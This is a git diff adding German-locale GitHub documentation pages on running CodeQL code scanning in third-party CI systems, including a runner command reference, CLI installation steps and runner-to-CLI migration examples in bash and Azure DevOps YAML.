+- If you uploaded to a branch, for example `--ref refs/heads/my-branch`, then the results appear in the **Security** tab for your repository. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
+
+## {% data variables.code-scanning.codeql_runner %} command reference
+
+The {% data variables.code-scanning.codeql_runner %} supports the following commands and flags.
+
+### `init`
+
+Initializes the {% data variables.code-scanning.codeql_runner %} and creates a {% data variables.product.prodname_codeql %} database for each language to be analyzed.
+
+| Flag | Required | Input value |
+| ---- |:--------:| ----------- |
+| `--repository` | ✓ | Name of the repository to initialize. |
+| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. |
+| <nobr>`--github-auth-stdin`</nobr> | ✓ | Read the {% data variables.product.prodname_github_apps %} token or {% data variables.product.pat_generic %} from standard input. |
+| `--languages` | | Comma-separated list of languages to analyze. By default, the {% data variables.code-scanning.codeql_runner %} detects and analyzes all supported languages in the repository. |
+| `--queries` | | Comma-separated list of additional queries to run, in addition to the default suite of security queries. This overrides the `queries` setting in the custom configuration file. |
+| `--config-file` | | Path to custom configuration file. |
+| `--codeql-path` | | Path to a copy of the {% data variables.product.prodname_codeql %} CLI executable to use. By default, the {% data variables.code-scanning.codeql_runner %} downloads a copy. |
+| `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. |
+| `--tools-dir` | | Directory where {% data variables.product.prodname_codeql %} tools and other files are stored between runs. The default is a subdirectory of the home directory. |
+| <nobr>`--checkout-path`</nobr> | | The path to the checkout of your repository. The default is the current working directory. | 
+| `--debug` | | None. Prints more verbose output. |
+| <nobr>`--trace-process-name`</nobr> | | Advanced, Windows only. Name of the process where a Windows tracer of this process is injected. |
+| <nobr>`--trace-process-level`</nobr> | | Advanced, Windows only. Number of levels up of the parent process where a Windows tracer of this process is injected. |
+| `-h`, `--help` | | None. Displays help for the command. |
+
+### `autobuild`
+
+Attempts to build the code for the compiled languages C/C++, C#, and Java. For those languages, {% data variables.product.prodname_codeql %} builds the code before analyzing it. Run `autobuild` between the `init` and `analyze` steps.
+
+| Flag | Required | Input value |
+| ---- |:--------:| ----------- |
+| `--language` | | The language to build. By default, the {% data variables.code-scanning.codeql_runner %} builds the compiled language with the most files. |
+| <nobr>`--temp-dir`</nobr> | | Directory where temporary files are stored. The default is `./codeql-runner`. |
+| `--debug` | | None. Prints more verbose output. |
+| <nobr> `-h`, `--help`</nobr> | | None. Displays help for the command. |
+
+### `analyze`
+
+Analyzes the code in the {% data variables.product.prodname_codeql %} databases and uploads results to {% data variables.product.product_name %}.
+
+| Flag | Required | Input value |
+| ---- |:--------:| ----------- |
+| `--repository` | ✓ | Name of the repository to analyze. |
+| `--commit` | ✓ | SHA of the commit to analyze. In Git and in Azure DevOps, this corresponds to the value of `git rev-parse HEAD`. In Jenkins, this corresponds to `$GIT_COMMIT`. |
+| `--ref` | ✓ | Name of the reference to analyze, for example `refs/heads/main` or `refs/pull/42/merge`. In Git or in Jenkins, this corresponds to the value of `git symbolic-ref HEAD`. In Azure DevOps, this corresponds to `$(Build.SourceBranch)`. |
+| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. |
+| <nobr>`--github-auth-stdin`</nobr> | ✓ | Read the {% data variables.product.prodname_github_apps %} token or {% data variables.product.pat_generic %} from standard input. |
+| <nobr>`--checkout-path`</nobr> | | The path to the checkout of your repository. The default is the current working directory.  |
+| `--no-upload` | | None. Stops the {% data variables.code-scanning.codeql_runner %} from uploading the results to {% data variables.product.product_name %}. |
+| `--output-dir` | | Directory where the output SARIF files are stored. The default is in the directory of temporary files. |
+| `--ram` | | Amount of memory to use when running queries. The default is to use all available memory. |
+| <nobr>`--no-add-snippets`</nobr> | | None. Excludes code snippets from the SARIF output. |
+| <nobr>`--category`<nobr> | | Category to include in the SARIF results file for this analysis. A category can be used to distinguish multiple analyses for the same tool and commit, but performed on different languages or different parts of the code. This value will appear in the `<run>.automationDetails.id` property in SARIF v2.1.0. |
+| `--threads` | | Number of threads to use when running queries. The default is to use all available cores. |
+| `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. |
+| `--debug` | | None. Prints more verbose output. |
+| `-h`, `--help` | | None. Displays help for the command. |
+
+### `upload`
+
+Uploads SARIF files to {% data variables.product.product_name %}.
+
+{% note %}
+
+**Note**: If you analyze code with the CodeQL runner, the `analyze` command uploads SARIF results by default. You can use the `upload` command to upload SARIF results that were generated by other tools.
+
+{% endnote %}
+
+| Flag | Required | Input value |
+| ---- |:--------:| ----------- |
+| `--sarif-file` | ✓ | SARIF file to upload, or a directory containing multiple SARIF files. |
+| `--repository` | ✓ | Name of the repository that was analyzed. |
+| `--commit` | ✓ | SHA of the commit that was analyzed. In Git and in Azure DevOps, this corresponds to the value of `git rev-parse HEAD`. In Jenkins, this corresponds to `$GIT_COMMIT`. |
+| `--ref` | ✓ | Name of the reference that was analyzed, for example `refs/heads/main` or `refs/pull/42/merge`. In Git or in Jenkins, this corresponds to the value of `git symbolic-ref HEAD`. In Azure DevOps, this corresponds to `$(Build.SourceBranch)`. |
+| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. |
+| <nobr>`--github-auth-stdin`</nobr> | ✓ | Read the {% data variables.product.prodname_github_apps %} token or {% data variables.product.pat_generic %} from standard input. |
+| <nobr>`--checkout-path`</nobr> | | The path to the checkout of your repository. The default is the current working directory.  |
+| `--debug` | | None. Prints more verbose output. |
+| `-h`, `--help` | | None. Displays help for the command. |
diff --git a/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/index.md b/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/index.md
new file mode 100644
index 0000000000..8de4702cdb
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/index.md
@@ -0,0 +1,36 @@
+---
+title: Verwenden der CodeQL-Codeüberprüfung mit deinem vorhandenen CI-System
+shortTitle: Use CodeQL in CI system
+intro: 'Du kannst {% data variables.product.prodname_codeql %}-Analysen in deinem bestehenden CI-System durchführen und die Ergebnisse auf {% data variables.product.product_name %} hochladen, um sie als {% data variables.product.prodname_code_scanning %}-Warnungen anzuzeigen.'
+product: '{% data reusables.gated-features.code-scanning %}'
+redirect_from:
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/using-codeql-code-scanning-with-your-existing-ci-system
+  - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Advanced Security
+  - Code scanning
+  - Integration
+  - CI
+  - CodeQL
+children:
+  - /about-codeql-code-scanning-in-your-ci-system
+  - /installing-codeql-cli-in-your-ci-system
+  - /configuring-codeql-cli-in-your-ci-system
+  - /running-codeql-runner-in-your-ci-system
+  - /configuring-codeql-runner-in-your-ci-system
+  - /troubleshooting-codeql-runner-in-your-ci-system
+  - /migrating-from-the-codeql-runner-to-codeql-cli
+ms.openlocfilehash: 09a930edef1ba954d6953a47e016d530467a5307
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145104651'
+---
+
diff --git a/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md b/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md
new file mode 100644
index 0000000000..8ad9bee420
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md
@@ -0,0 +1,119 @@
+---
+title: Installing CodeQL CLI in your CI system
+shortTitle: Install CodeQL CLI
+intro: 'You can install the {% data variables.product.prodname_codeql_cli %} and use it to perform {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in a third-party continuous integration system.'
+product: '{% data reusables.gated-features.code-scanning %}'
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Advanced Security
+  - Code scanning
+  - CodeQL
+  - Repositories
+  - Pull requests
+  - Integration
+  - CI
+  - SARIF
+redirect_from:
+  - /code-security/secure-coding/running-codeql-cli-in-your-ci-system
+  - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-cli-in-your-ci-system
+  - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system
+---
+{% data reusables.code-scanning.enterprise-enable-code-scanning %}
+
+## About using the {% data variables.product.prodname_codeql_cli %} for {% data variables.product.prodname_code_scanning %}
+
+You can use the {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." For recommended specifications (RAM, CPU cores, and disk) for running {% data variables.product.prodname_codeql %} analysis, see "[Recommended hardware resources for running {% data variables.product.prodname_codeql %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql)."
+
+{% data reusables.code-scanning.what-is-codeql-cli %}
+
+Alternatively, you can use {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_code_scanning %} within {% data variables.product.product_name %}. For information about {% data variables.product.prodname_code_scanning %} using actions, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." For an overview of the options for CI systems, see "[About CodeQL {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)".
+
+{% data reusables.code-scanning.licensing-note %}
+
+## Downloading the {% data variables.product.prodname_codeql_cli %}
+
+You should download the {% data variables.product.prodname_codeql %} bundle from https://github.com/github/codeql-action/releases. The bundle contains:
+
+- {% data variables.product.prodname_codeql_cli %} product
+- A compatible version of the queries and libraries from https://github.com/github/codeql
+- Precompiled versions of all the queries included in the bundle
+
+{% ifversion ghes or ghae %}
+
+{% note %}
+For {% data variables.product.product_name %}{% ifversion ghes %} {{ allVersions[currentVersion].currentRelease }}{% endif %}, we recommend {% data variables.product.prodname_codeql_cli %} version {% data variables.product.codeql_cli_ghes_recommended_version %}.
+{% endnote %}
+
+{% endif %}
+
+You should always use the {% data variables.product.prodname_codeql %} bundle as this ensures compatibility and also gives much better performance than a separate download of the {% data variables.product.prodname_codeql_cli %} and checkout of the {% data variables.product.prodname_codeql %} queries. If you will only be running the CLI on one specific platform, download the appropriate `codeql-bundle-PLATFORM.tar.gz` file. Alternatively, you can download `codeql-bundle.tar.gz`, which contains the CLI for all supported platforms.
+
+{% data reusables.code-scanning.beta-codeql-packs-cli %}
+
+## Setting up the {% data variables.product.prodname_codeql_cli %} in your CI system
+
+You need to make the full contents of the {% data variables.product.prodname_codeql_cli %} bundle available to every CI server that you want to run CodeQL {% data variables.product.prodname_code_scanning %} analysis on. For example, you might configure each server to copy the bundle from a central, internal location and extract it. Alternatively, you could use the REST API to get the bundle directly from {% data variables.product.prodname_dotcom %}, ensuring that you benefit from the latest improvements to queries. Updates to the {% data variables.product.prodname_codeql_cli %} are released every 2-3 weeks. For example:
+
+```shell
+$ wget https://{% ifversion fpt or ghec %}github.com{% else %}<em>HOSTNAME</em>{% endif %}/github/codeql-action/releases/latest/download/codeql-bundle-linux64.tar.gz
+$ tar -xvzf ./codeql-bundle-linux64.tar.gz
+```
+
+After you extract the {% data variables.product.prodname_codeql_cli %} bundle, you can run the `codeql` executable on the server:
+
+- By executing `/<extraction-root>/codeql/codeql`, where `<extraction-root>` is the folder where you extracted the {% data variables.product.prodname_codeql_cli %} bundle.
+- By adding `/<extraction-root>/codeql` to your `PATH`, so that you can run the executable as just `codeql`.
+
+{% ifversion fpt or ghec or ghes > 3.7 or ghae > 3.7 %}
+{% note %}
+
+If you use the {% data variables.product.prodname_codeql_cli %} to analyze code written in Python, you must make sure that your CI system has Python 3 installed.
+
+{% endnote %}
+{% endif %}
+
+## Testing the {% data variables.product.prodname_codeql_cli %} set up
+
+After you extract the {% data variables.product.prodname_codeql_cli %} bundle, you can run the following command to verify that the CLI is correctly set up to create and analyze databases.
+
+- `codeql resolve qlpacks` if `/<extraction-root>/codeql` is on the `PATH`.
+- `/<extraction-root>/codeql/codeql resolve qlpacks` otherwise.
+
+**Extract from successful output:**
+```
+codeql/cpp-all (/<extraction-root>/qlpacks/codeql/cpp-all/<version>)
+codeql/cpp-examples (/<extraction-root>/qlpacks/codeql/cpp-examples/<version>)
+codeql/cpp-queries (/<extraction-root>/qlpacks/codeql/cpp-queries/<version>)
+codeql/csharp-all (/<extraction-root>/qlpacks/codeql/charp-all/<version>)
+codeql/csharp-examples (/<extraction-root>/qlpacks/codeql/charp-examples/<version>)
+codeql/csharp-queries (/<extraction-root>/qlpacks/codeql/charp-queries/<version>)
+codeql/java-all (/<extraction-root>/qlpacks/codeql/java-all/<version>)
+codeql/java-examples (/<extraction-root>/qlpacks/codeql/java-examples/<version>)
+codeql/java-queries (/<extraction-root>/qlpacks/codeql/java-queries/<version>)
+codeql/javascript-all (/<extraction-root>/qlpacks/codeql/javascript-all/<version>)
+codeql/javascript-examples (/<extraction-root>/qlpacks/codeql/javascript-examples/<version>)
+codeql/javascript-queries (/<extraction-root>/qlpacks/codeql/javascript-queries/<version>)
+codeql/python-all (/<extraction-root>/qlpacks/codeql/python-all/<version>)
+codeql/python-examples (/<extraction-root>/qlpacks/codeql/python-examples/<version>)
+codeql/python-queries (/<extraction-root>/qlpacks/codeql/python-queries/<version>)
+codeql/ruby-all (/<extraction-root>/qlpacks/codeql/ruby-all/<version>)
+codeql/ruby-examples (/<extraction-root>/qlpacks/codeql/ruby-examples/<version>)
+codeql/ruby-queries (/<extraction-root>/qlpacks/codeql/ruby-queries/<version>)
+...
+```
+
+You should check that the output contains the expected languages and also that the directory location for the qlpack files is correct. The location should be within the extracted {% data variables.product.prodname_codeql_cli %} bundle, shown above as `<extraction root>`, unless you are using a checkout of `github/codeql`. If the {% data variables.product.prodname_codeql_cli %} is unable to locate the qlpacks for the expected languages, check that you downloaded the {% data variables.product.prodname_codeql %} bundle and not a standalone copy of the {% data variables.product.prodname_codeql_cli %}.
+
+## Generating a token for authentication with {% data variables.product.product_name %}
+
+Each CI server needs a {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} for the {% data variables.product.prodname_codeql_cli %} to use to upload results to {% data variables.product.product_name %}. You must use an access token or a {% data variables.product.prodname_github_app %} with the `security_events` write permission. If CI servers already use a token with this scope to checkout repositories from {% data variables.product.product_name %}, you could potentially allow the {% data variables.product.prodname_codeql_cli %} to use the same token. Otherwise, you should create a new token with the `security_events` write permission and add this to the CI system's secret store. For information, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" and "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."
+
+## Next steps
+
+You're now ready to configure the CI system to run {% data variables.product.prodname_codeql %} analysis, generate results, and upload them to {% data variables.product.product_name %} where the results will be matched to a branch or pull request and displayed as {% data variables.product.prodname_code_scanning %} alerts. For detailed information, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)."
diff --git a/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md b/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md
new file mode 100644
index 0000000000..fe342bd47a
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md
@@ -0,0 +1,420 @@
+---
+title: Migrieren vom CodeQL-Runner zu CodeQL-CLI
+shortTitle: Migrating from the CodeQL runner
+intro: 'Du kannst die {% data variables.product.prodname_codeql_cli %} verwenden, um die gleichen Aufgaben wie mit dem {% data variables.code-scanning.codeql_runner %} auszuführen.'
+product: '{% data reusables.gated-features.code-scanning %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Advanced Security
+  - Code scanning
+  - CodeQL
+ms.openlocfilehash: 10711111e3fa5c7226574ac9b70eb4bd4d5bff21
+ms.sourcegitcommit: b617c4a7a1e4bf2de3987a86e0eb217d7031490f
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/11/2022
+ms.locfileid: '148161264'
+---
+# Migrieren vom {% data variables.code-scanning.codeql_runner %} zur {% data variables.product.prodname_codeql_cli %}
+
+Der {% data variables.code-scanning.codeql_runner %} ist veraltet. Du kannst die {% data variables.product.prodname_codeql_cli %} Version 2.6.2 und höher verwenden.
+In diesem Dokument wird beschrieben, wie allgemeine Workflows vom {% data variables.code-scanning.codeql_runner %} zur {% data variables.product.prodname_codeql_cli %} migriert werden.
+
+## Installation
+
+Lade das **{% data variables.product.prodname_codeql %}-Paket** aus dem [`github/codeql-action`Repository](https://github.com/github/codeql-action/releases) herunter. Dieses Paket enthält die {% data variables.product.prodname_codeql_cli %} und die Standarddaten {% data variables.product.prodname_codeql %}-Abfragen und -Bibliotheken.
+
+Informationen zum Einrichten der {% data variables.product.prodname_codeql_cli %} findest du unter [Installieren von {% data variables.product.prodname_codeql_cli %} in deinem CI-System](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system).
+
+## Übersicht über Workflowänderungen
+
+Ein typischer Workflow, der den {% data variables.code-scanning.codeql_runner %} zum Analysieren einer Codebasis verwendet, umfasst die folgenden Schritte.
+- `codeql-runner-<platform> init`: Mit diesem Befehl beginnst du mit dem Erstellen von {% data variables.product.prodname_codeql %}-Datenbanken und lesen die Konfiguration.
+- Für kompilierte Sprachen: Festlegen von Umgebungsvariablen, die von Schritt `init` erstellt werden.
+- Für kompilierte Sprachen: Führe Autobuild- oder manuelle Buildschritte aus.
+- `codeql-runner-<platform> analyze`: Mit diesem Befehl schließt du das Erstellen von {% data variables.product.prodname_codeql %}-Datenbanken ab, führst Abfragen aus, um jede {% data variables.product.prodname_codeql %} zu analysieren, die Ergebnisse in einer SARIF-Datei zusammenzufassen und die Ergebnisse in {% data variables.product.prodname_dotcom %} hochzuladen.
+
+Ein typischer Workflow, der die {% data variables.product.prodname_codeql_cli %} verwendet, um eine Codebase zu analysieren, weist die folgenden Schritte auf.
+- `codeql database create`: Mit diesem Befehl erstellst du {% data variables.product.prodname_codeql %}-Datenbanken.
+  - Für kompilierte Sprachen: Optional stellst du einen Buildbefehl bereit.
+- `codeql database analyze`: Mit diesem Befehl führst du Abfragen aus, um jede {% data variables.product.prodname_codeql %}-Datenbank zu analysieren und die Ergebnisse in einer SARIF-Datei zusammenzufassen. Dieser Befehl muss für jede Sprache oder Datenbank einmal ausgeführt werden.
+- `codeql github upload-results`: Mit diesem Befehl lädst du resultierenden SARIF-Dateien in {% data variables.product.prodname_dotcom %} hoch, damit sie als Codescanwarnungen angezeigt zu werden. Dieser Befehl muss für jede Sprache oder SARIF-Datei einmal ausgeführt werden.
+
+Der {% data variables.code-scanning.codeql_runner %} unterstützt standardmäßig das Multithreading. Die {% data variables.product.prodname_codeql_cli %} verwendet standardmäßig nur einen einzelnen Thread, ermöglicht ihnen jedoch die Angabe der Anzahl von Threads, die du verwenden möchtest. Wenn du das Verhalten des {% data variables.code-scanning.codeql_runner %} replizieren möchtest, um bei Verwendung der {% data variables.product.prodname_codeql_cli %} alle für den Computer verfügbaren Threads zu verwenden, kannst Du `--threads 0` an `codeql database analyze` übergeben.
+
+Weitere Informationen findest du unter [Konfigurieren der {% data variables.product.prodname_codeql_cli %} in deinem CI-System](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system).
+
+## Beispiele für allgemeine Verwendungen für die {% data variables.product.prodname_codeql_cli %}
+
+### Über die Beispiele
+
+In diesen Beispielen wird davon ausgegangen, dass der Quellcode auf das aktuelle Arbeitsverzeichnis ausgecheckt wurde. Wenn du ein anderes Verzeichnis verwendest, ändere das Argument `--source-root` und die Buildschritte entsprechend.
+
+In diesen Beispielen wird auch davon ausgegangen, dass die {% data variables.product.prodname_codeql_cli %} im aktuellen PFAD platziert werden.
+
+In diesen Beispielen wird ein {% data variables.product.prodname_dotcom %} mit geeigneten Bereichen in der Umgebungsvariable `$TOKEN` gespeichert und über `stdin` an die Beispielbefehle übergeben oder in der Umgebungsvariable `$GITHUB_TOKEN` gespeichert.
+
+Der Ref-Name und der Commit-SHA, die in diesen Beispielen ausgecheckt und analysiert werden, sind während des Workflows bekannt. Verwende für einen Branch `refs/heads/BRANCH-NAME` als Referenz. Für den Head-Commit einer Pull Request verwende `refs/pull/NUMBER/head`. Verwende `refs/pull/NUMBER/merge` für einen {% data variables.product.prodname_dotcom %}-generierten Merge-Commit einer Pull Request. Die folgenden Beispiele verwenden alle `refs/heads/main`. Wenn du einen anderen Branchnamen verwendest, musst du den Beispielcode ändern.
+
+### Einzelne nicht kompilierte Sprache (JavaScript)
+
+Runner:
+```bash
+echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
+    --languages javascript \
+    --github-url https://github.com --github-auth-stdin
+
+echo "$TOKEN" | codeql-runner-linux analyze --repository my-org/example-repo
+    --github-url https://github.com --github-auth-stdin
+    --commit deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 --ref refs/heads/main
+```
+Über die CLI:
+```bash
+codeql database create /codeql-dbs/example-repo --language=javascript \
+    --source-root=.
+
+# The default query suite is called `<language>-code-scanning.qls`.
+codeql database analyze /codeql-dbs/example-repo \
+    javascript-code-scanning.qls --sarif-category=javascript \
+    --format=sarif-latest --output=/temp/example-repo-js.sarif
+
+echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
+    --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \
+    --sarif=/temp/example-repo-js.sarif --github-auth-stdin
+```
+
+### Einzelne nicht kompilierte Sprache (JavaScript) mit einer anderen Abfragensammlung (Sicherheit und Qualität)
+
+Ein ähnlicher Ansatz kann für kompilierte Sprachen oder mehrere Sprachen verwendet werden.
+
+Runner:
+```bash
+echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
+    --languages javascript \
+    --github-url https://github.com --github-auth-stdin
+
+echo "$TOKEN" | codeql-runner-linux analyze --repository my-org/example-repo \
+    --queries security-and-quality \
+    --github-url https://github.com --github-auth-stdin \
+    --commit deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 --ref refs/heads/main
+```
+Über die CLI:
+```bash
+codeql database create /codeql-dbs/example-repo --language=javascript \
+    --source-root=.
+
+# Use `<language>-<suite name>.qls`
+codeql database analyze /codeql-dbs/example-repo  \
+    javascript-security-and-quality.qls --sarif-category=javascript
+    --format=sarif-latest --output=/temp/example-repo-js.sarif
+
+echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
+    --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \
+    --sarif=/temp/example-repo-js.sarif --github-auth-stdin
+```
+
+### Einzelne nicht kompilierte Sprache (JavaScript) mit einer benutzerdefinierten Konfigurationsdatei
+
+Ein ähnlicher Ansatz kann für kompilierte Sprachen oder mehrere Sprachen verwendet werden.
+
+Runner:
+```bash
+echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
+    --languages javascript \
+    --config-file .github/codeql/codeql-config.yml \
+    --github-url https://github.com --github-auth-stdin
+
+echo "$TOKEN" | codeql-runner-linux analyze --repository my-org/example-repo \
+    --github-url https://github.com --github-auth-stdin \
+    --commit deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 --ref refs/heads/main
+```
+Über die CLI:
+```bash
+# Use `--codescanning-config` with the path to the YAML configuration file.
+codeql database create /codeql-dbs/example-repo --language=javascript \
+    --codescanning-config=.github/codeql/codeql-config.yml \
+    --source-root=.
+
+codeql database analyze /codeql-dbs/example-repo  \
+    --sarif-category=javascript
+    --format=sarif-latest --output=/temp/example-repo-js.sarif
+
+echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
+    --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \
+    --sarif=/temp/example-repo-js.sarif --github-auth-stdin
+```
+
+### Einzelne kompilierte Sprache mit von Autobuild (Java)
+
+Runner:
+```bash
+echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
+    --languages java \
+    --github-url https://github.com --github-auth-stdin
+
+# Source the script generated by the init step to set up the environment to monitor the build.
+. codeql-runner/codeql-env.sh
+
+# Run the autobuilder for the given language.
+codeql-runner-linux autobuild --language java
+
+echo "$TOKEN" | codeql-runner-linux analyze --repository my-org/example-repo
+    --github-url https://github.com --github-auth-stdin
+    --commit deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 --ref refs/heads/main
+```
+Über die CLI:
+```bash
+# Run `codeql database create` without `--command`.
+# This will run the autobuilder for the given language.
+codeql database create /codeql-dbs/example-repo --language=java \
+    --source-root=.
+
+codeql database analyze /codeql-dbs/example-repo  \
+    javascript-code-scanning.qls --sarif-category=java
+    --format=sarif-latest --output=/temp/example-repo-java.sarif
+
+echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
+    --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \
+    --sarif=/temp/example-repo-java.sarif --github-auth-stdin
+```
+
+### Einzelne kompilierte Sprache mit einem benutzerdefinierten Buildbefehl (Java)
+
+Runner:
+```bash
+echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
+    --languages java \
+    --github-url https://github.com --github-auth-stdin
+
+# Source the script generated by the init step to set up the environment to monitor the build.
+. codeql-runner/codeql-env.sh
+
+# Run a custom build command.
+mvn compile -DskipTests
+
+echo "$TOKEN" | codeql-runner-linux analyze --repository my-org/example-repo
+    --github-url https://github.com --github-auth-stdin
+    --commit deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 --ref refs/heads/main
+```
+Über die CLI:
+```bash
+# Provide an explicit build command using `--command`.
+codeql database create /codeql-dbs/example-repo --language=java \
+    --command="mvn compile -DskipTests" --source-root=.
+
+codeql database analyze /codeql-dbs/example-repo  \
+    java-code-scanning.qls --sarif-category=java
+    --format=sarif-latest --output=/temp/example-repo-java.sarif
+
+echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
+    --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \
+    --sarif=/temp/example-repo-java.sarif --github-auth-stdin
+```
+
+### Einzelne kompilierte Sprache mit indirekter Buildablaufverfolgung (C# auf Windows innerhalb Azure DevOps)
+
+Die indirekte Buildablaufverfolgung für eine kompilierte Sprache ermöglicht es der {% data variables.product.prodname_codeql %}, alle Buildschritte zwischen den Schritten `init` und `analyze` zu erkennen, wenn der Code nicht mithilfe des Autobuilders oder einer expliziten Buildbefehlzeile erstellt werden kann. Dies ist nützlich, wenn du vordefinierte Buildschritte aus deinem CI-System verwendest, z. B. die Aufgaben `VSBuild` und `MSBuild` in Azure DevOps.
+
+Runner:
+```yaml
+- task: CmdLine@1
+  displayName: CodeQL Initialization
+  inputs:
+  script: "%CodeQLRunner%\\codeql-runner-win.exe init --repository my-org/example-repo --languages csharp --github-url https://github.com --github-auth $(Token)"
+# Set the generated environment variables so they are available for subsequent commands, in the format required by Azure Pipelines.
+- task: PowerShell@1
+  displayName: Set CodeQL Environment Variables
+  inputs:
+      targetType: inline
+      script: >
+          $json = Get-Content $(System.DefaultWorkingDirectory)/codeql-runner/codeql-env.json | ConvertFrom-Json
+          $json.PSObject.Properties | ForEach-Object {
+              $template = "##vso[task.setvariable variable="
+              $template += $_.Name
+              $template += "]"
+              $template += $_.Value
+              echo "$template"
+          }
+
+# Execute a clean build using the VSBuild task.
+- task: VSBuild@1
+  inputs:
+      solution: '**/*.sln'
+      msbuildArgs: '/p:OutDir=$(Build.ArtifactStagingDirectory) /p:UseSharedCompilation=false'
+      platform: Any CPU
+      configuration: Release
+      clean: True
+  displayName: Visual Studio Build
+
+# Analyze the database created as part of the build, by running the selected queries against it, and upload results to GitHub.
+- task: CmdLine@2
+  displayName: CodeQL Analyze
+  inputs:
+      script: '%CodeQLRunner%\codeql-runner-win.exe analyze --repository my-org/example-repo --commit $(Build.SourceVersion) --ref $(Build.SourceBranch) --github-url https://github.com --github-auth $(Token)'
+```
+
+Über die CLI:
+```yaml
+# Run any pre-build tasks, for example, restore NuGet dependencies...
+
+# Initialize the CodeQL database using `codeql database init --begin tracing`.
+- task: CmdLine@1
+  displayName: Initialize CodeQL database
+  inputs:
+      # Assumes the source code is checked out to the current working directory.
+      # Creates a database at `/codeql-dbs/example-repo`.
+      # Running on Windows, so specifies a trace process level.
+      script: "codeql database init --language csharp --trace-process-name Agent.Worker.exe --source-root . --begin-tracing /codeql-dbs/example-repo"
+
+# For CodeQL to trace future build steps without knowing the explicit build commands,
+# it requires certain environment variables to be set during the build.
